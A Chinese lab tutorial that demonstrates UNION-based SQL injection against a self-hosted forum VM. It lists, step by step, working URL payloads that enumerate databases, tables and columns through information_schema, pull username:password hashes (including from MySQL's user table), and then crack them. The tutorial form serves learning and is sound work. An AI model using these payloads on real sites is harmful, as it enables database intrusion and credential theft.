目录
- 1 union联合查询注入概况
- 1.1 简介
- 1.2 适用条件
- 1.3 注入步骤
- 1.4 注入技巧
- 2 union联合查询注入实验
- 2.1 实验环境
- 2.2 实验步骤
- 2.2.1 判断是否存在注入点及注入的类型
- 2.2.2 使用ORDER BY 查询回显列数、观察回显的位置。
- 2.2.3 获取数据库名
- 2.2.4 获取数据库中的所有表名
- 2.2.5 获取数据库的表中的所有字段名
- 2.2.6 获取字段中的数据
- 3 总结
本博客内容仅供学习探讨,请勿滥用乱用
1 union联合查询注入概况
1.1 简介
union查询注入是最基础的注入。在SQL中, UNION 操作符用于合并两个或多个 SELECT 语句的结果。union 查询注入利用 UNION 关键字可以追加一条或者多条额外的 SELECT 查询,并将结果追加到原始查询中。
1.2 适用条件
- 网页存在注入点,有回显。
- 需要满足union语句要求,即:
- union前后两个select的结果集应具有相同列数;
- union前后两个select的结果集对应列应是相同数据类型。
1.3 注入步骤
- 首先判断是否存在注入点及注入的类型。
- 使用ORDER BY 查询列数、观察回显的位置。
- 获取数据库名。
- 获取数据库中的所有表名。
- 获取数据库的表中的所有字段名
- 获取字段中的数据。
1.4 注入技巧
在最后一个select语句后可以使用 order by 或 limit 等SQL语句对查询进行限制和调整。
2 union联合查询注入实验
2.1 实验环境
- 实验靶场——虚拟机:本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《win2008R2SP1+WAMP环境部署》,网站的搭建过程可以参考《综合实验:一个简单丑陋的论坛网站》
- 注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
2.2 实验步骤
2.2.1 判断是否存在注入点及注入的类型
在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在注入点以及注入类型,如是否是字符型还是数值型,是否存在延迟注入等。
- 用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。
- 将参数修改为
?id=2
,并点击run,看到页面变化如下,弹出第二条留言内容,由此可见后台是根据id的不同来反馈不同信息,而id是访问者可控的,是一个注入点。
- 修改参数为
?id=1 and 1=1
,返回页面与原页面一致 。通过该参数我们可以分析得到该注入数据类型为数值型,原因如下:
(1) 猜测为数值型,则后台SQL语句为 select * from table where id=1 and 1=1,where语句判断条件为真且id=1,语句正常执行。
(2) 猜测为字符型,则后台SQL语句为 select * from table where id=‘1 and 1=1’,where语句将找不到id为‘1 and 1=1’的参数,语句执行失败。
(3) 更多数值型和字符型的判断方法请查看文章《反证法:判断注入类型是数值型还是字符型》
- 修改参数为
?id=1 and 1=2
,由于 and 1=2 为假 , 所以页面应返回与 id=1 不同的结果,如下图所示。也就是说是否能正常回显内容与语句的真假性有关。
- 为判断参数是否存在延迟注入,按F12打开调试面板,在左侧继续修改参数为
?id=1 and sleep(5)
,并点击run。可以看到sleep语句对网页的响应起到作用,也就是意味着存在延迟注入的可能。
- 结论:
- 因为id参数是用户可控的,会随请求带入到数据库中执行并回显相应内容,是一个注入点。
- 根据第3步说明参数为数值型。
- 当参数条件为假时,无法正常回显,说明网页存在布尔类型状态。
- sleep语句对网页的响应起到作用,也就是意味着存在延迟注入。
- 从联合注入到盲注以及延迟注入,其时间人力成本逐步增大,尽可能选择低成本方式进行注入。
2.2.2 使用ORDER BY 查询回显列数、观察回显的位置。
- order by 语句本意是按某一列的顺序进行排序,在此处我们利用该语句来判断select查询结果集中有多少列,但order by 参数超过其结果集列数时,会出错。修改参数为
?id=1 order by 2
,结果与?id=1一样,可以猜测是回显数据至少有2列。
- 修改参数为
?id=1 order by 10
,没有结果,可以猜测是回显数据没有10列,所以出错了没有内容。
- 修改参数为
?id=1 order by 5
,没有结果,可以猜测是回显数据没有5列,所以出错了没有内容。
- 当我们修改参数为
?id=1 order by 4
,结果与?id=1一样,因此可以猜测回显数据有4列。
- 我们修改参数为
?id=1 union select 1,2,3,4
试图显示联合查询的内容,结果发现与原来一致,这是因为id=1为真,后台返回了id=1的页面时就占用了页面可以显示的区域,导致第二个select语句的结果集无法显示。
- 我们修改参数为
?id=-1 union select 1,2,3,4
,让第一句语句的查询为假,没有回显内容,则后台将返回第二个select语句的结果集。
- 可以看到第2第3第4个参数均显示出来,这三个参数可以用来查询后台的一些信息。我们修改参数为
?id=-1 union select 1,2,3,version()
,来利用第4个显示位带回后台的版本信息。至此我们成功利用union语句带回了WEB开发者意愿之外的内容。
2.2.3 获取数据库名
- 我们修改参数为
?id=-1 union select 1,2,3,database()
,来利用第4个显示位带回后台的该网站所在数据库信息。可以看到确实是我们搭建网站时所用的数据库。
- 在上一节我们知道,元数据库中有个表schemata记录所有数据库的信息。该表中字段名schema_name记录着所有数据库的名字,我们可以通过该表获取其他数据库信息。我们修改参数为
?id=-1 union select 1,2,3,group_concat(schema_name) from information_schema.schemata
,回显如下,带回了该服务器所有数据库名字,包括该站点之外的数据库也可以看到,说明union联合查询可以跨库查询。
2.2.4 获取数据库中的所有表名
- 在元数据库中,有information_schema.tables表格存放着所有表格的信息,其中有table_schema字段记录表格所属数据,有table_name记录着表格名字。
- 我们修改参数为
?id=-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = database()
来获取当前数据库下的所有表名。
- 我们修改参数为
?id=-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema = 'mysql'
来获取mysql数据库下的所有表名,其中mysql前后需要加上单引号表示为字符串。可以看到返回了该数据库下所有表名,这些是跨出了我们访问的站点之外的表,看到其中有一个表名为user,可能会记录着敏感信息。
2.2.5 获取数据库的表中的所有字段名
- 在元数据库中,有information_schema.colunms存储所有字段信息。该表主要字段名如下:
- TABLE_SCHEMA:记录该字段名属于哪个数据库。
- TABLE_NAME:记录该字段属于哪个表。
- COLUMN_NAME:记录该字段名。
- 在my_test数据库中,在上述查询后我们知道有一个表名为users,修改参数为
?id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name = 'users'
来获取该表的字段名。可以看到里面有name和password两个字段,这是下一步我们要获取的目标。
- 同样的,在mysql数据库中有一个表名为user,修改参数为
?id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name = 'user'
来获取该表的字段名。可以看到里面有User和Password两个字段,这是下一步我们要获取的目标。
2.2.6 获取字段中的数据
- 我们修改参数为
?id=-1 union select 1,2,3,concat(name,':',password) from users
来获取users表中的两个字段内容。其中a是账号名,后面那一串是经过加密后的密码。参数中的冒号可以转为使用16进制编码,如将’:'改为0x3a。
- 如何根据不同密文判断其加密算法还不会,但是这个论坛是我们自己写的所以我们知道这是使用md5加密的。打开https://www.cmd5/将该密文复制进去,点击查询即可知道密码为a。
- 在上述命令中,我们查询到的是第一个账户和密码,可以使用limit显示select查询的是第几个。修改参数为
?id=-1 union select 1,2,3,concat(name,':',password) from users limit 1,1
,limit第一个参数是偏移量,偏移量1表示第二个账户,第二个参数是个数,表示一个。
- 参考上面的方法跨库查询mysql数据库下user表的字段,修改参数为
?id=-1 union select 1,2,3,concat(user,':',password) from user
,没有返回内容。根据union查询条件我们可以可能是数据类型不一致造成的。(打开虚拟机中数据库查看后发现,user表user和password字段内容数据格式为char类型,而users表中的name和password字段内容数据格式为varchar类型。以后考虑如何实现类型转换以获取该字段内容)
3 总结
- 掌握union联合查询注入的流程;
- 理解union联合查询的限制条件;
- 查询语句中尽可能减少字符串的使用,可以转为使用SQL内置函数或转为16进制码。
更多推荐
【SQL注入02】union联合查询注入实例操作
发布评论